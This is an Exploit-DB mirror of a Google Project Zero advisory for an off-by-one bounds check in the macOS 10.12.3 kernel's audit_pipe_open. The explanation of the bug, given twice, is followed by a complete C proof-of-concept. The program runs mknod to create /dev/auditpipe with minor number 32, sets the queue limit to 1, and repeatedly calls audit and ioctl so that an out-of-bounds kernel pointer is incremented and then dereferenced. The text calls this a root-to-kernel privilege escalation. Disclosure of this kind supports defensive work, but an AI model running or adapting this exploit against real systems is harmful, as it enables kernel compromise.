Apple macOS Kernel 10.12.3 (16D32) – ‘audit_pipe_open’ Off-by-One Memory Corruption

  • 作者: Google Security Research
    日期: 2017-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41797/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126
    
    MacOS kernel memory corruption due to off-by-one in audit_pipe_open
    
    audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
    
    Here's the code:
    
    static int
    audit_pipe_open(dev_t dev, __unused int flags,__unused int devtype,
    __unused proc_t p)
    {
    struct audit_pipe *ap;
    int u;
    
    u = minor(dev);
    if (u < 0 || u > MAX_AUDIT_PIPES)
    return (ENXIO);
    
    AUDIT_PIPE_LIST_WLOCK();
    ap = audit_pipe_dtab[u];
    if (ap == NULL) {
    ap = audit_pipe_alloc();
    if (ap == NULL) {
    AUDIT_PIPE_LIST_WUNLOCK();
    return (ENOMEM);
    }
    audit_pipe_dtab[u] = ap;
    
    
    We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
    
    static struct audit_pipe*audit_pipe_dtab[MAX_AUDIT_PIPES];
    
    There's an off-by-one in the minor number bounds check
     (u < 0 || u > MAX_AUDIT_PIPES)
    should be
     (u < 0 || u >= MAX_AUDIT_PIPES)
    
    The other special file operation handlers assume that the minor number of an opened device
    is correct therefore it isn't validated for example in the ioctl handler:
    
    static int
    audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
    __unused int flag, __unused proc_t p)
    {
    ...
    ap = audit_pipe_dtab[minor(dev)];
    KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
    ...
    switch (cmd) {
    case FIONBIO:
    AUDIT_PIPE_LOCK(ap);
    if (*(int *)data)
    
    Directly after the audit_pipe_dtab array in the bss is this global variable:
    
    static u_int64_taudit_pipe_drops;
    
    audit_pipe_drops will be incremented each time an audit message enqueue fails:
    
    if (ap->ap_qlen >= ap->ap_qlimit) {
    ap->ap_drops++;
    audit_pipe_drops++;
    return;
    }
    
    So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
    struct audit_pipe* which is read out-of-bounds.
    
    For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
    and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
    and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
    then the ioctl will try to use that pointer.
    
    This is a root to kernel privesc.
    
    tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
    */
    
    //ianbeer
    #if 0
    MacOS kernel memory corruption due to off-by-one in audit_pipe_open
    
    audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
    
    Here's the code:
    
    	static int
    	audit_pipe_open(dev_t dev, __unused int flags,__unused int devtype,
    			__unused proc_t p)
    	{
    		struct audit_pipe *ap;
    		int u;
    
    		u = minor(dev);
    		if (u < 0 || u > MAX_AUDIT_PIPES)
    			return (ENXIO);
    
    		AUDIT_PIPE_LIST_WLOCK();
    		ap = audit_pipe_dtab[u];
    		if (ap == NULL) {
    			ap = audit_pipe_alloc();
    			if (ap == NULL) {
    				AUDIT_PIPE_LIST_WUNLOCK();
    				return (ENOMEM);
    			}
    			audit_pipe_dtab[u] = ap;
    
    
    We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
    
    	static struct audit_pipe	*audit_pipe_dtab[MAX_AUDIT_PIPES];
    
    There's an off-by-one in the minor number bounds check
     (u < 0 || u > MAX_AUDIT_PIPES)
    should be
     (u < 0 || u >= MAX_AUDIT_PIPES)
    
    The other special file operation handlers assume that the minor number of an opened device
    is correct therefore it isn't validated for example in the ioctl handler:
    
    	static int
    	audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
    			__unused int flag, __unused proc_t p)
    	{
    		...
    		ap = audit_pipe_dtab[minor(dev)];
    		KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
    		...
    		switch (cmd) {
    		case FIONBIO:
    			AUDIT_PIPE_LOCK(ap);
    			if (*(int *)data)
    
    Directly after the audit_pipe_dtab array in the bss is this global variable:
    
    	static u_int64_t	audit_pipe_drops;
    
    audit_pipe_drops will be incremented each time an audit message enqueue fails:
    
    	if (ap->ap_qlen >= ap->ap_qlimit) {
    		ap->ap_drops++;
    		audit_pipe_drops++;
    		return;
    	}
    
    So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
    struct audit_pipe* which is read out-of-bounds.
    
    For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
    and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
    and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
    then the ioctl will try to use that pointer.
    
    This is a root to kernel privesc.
    
    tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
    #endif
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <net/bpf.h>
    #include <net/if.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <bsm/audit.h>
    #include <security/audit/audit_ioctl.h>
    
    int main(int argc, char** argv) {
    system("rm -rf /dev/auditpipe");
    system("mknod /dev/auditpipe c 10 32");
    
    int fd = open("/dev/auditpipe", O_RDWR);
    
    if (fd == -1) {
    perror("failed to open auditpipe device\n");
    exit(EXIT_FAILURE);
    }
    printf("opened device\n");
    
    system("touch a_log_file");
    int auditerr = auditctl("a_log_file");
    if (auditerr == -1) {
    perror("failed to set a new log file\n");
    }
    
    uint32_t qlim = 1;
    int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim);
    if (err == -1) {
    perror("AUDITPIPE_SET_QLIMIT");
    exit(EXIT_FAILURE);
    }
    
    while(1) {
    char* audit_data = "\x74hello";
    int audit_len = strlen(audit_data)+1;
    audit(audit_data, audit_len);
    uint32_t nread = 0;
    int err = ioctl(fd, FIONREAD, &qlim);
    if (err == -1) {
    perror("FIONREAD");
    exit(EXIT_FAILURE);
    }
    }
    
    return 0;
    }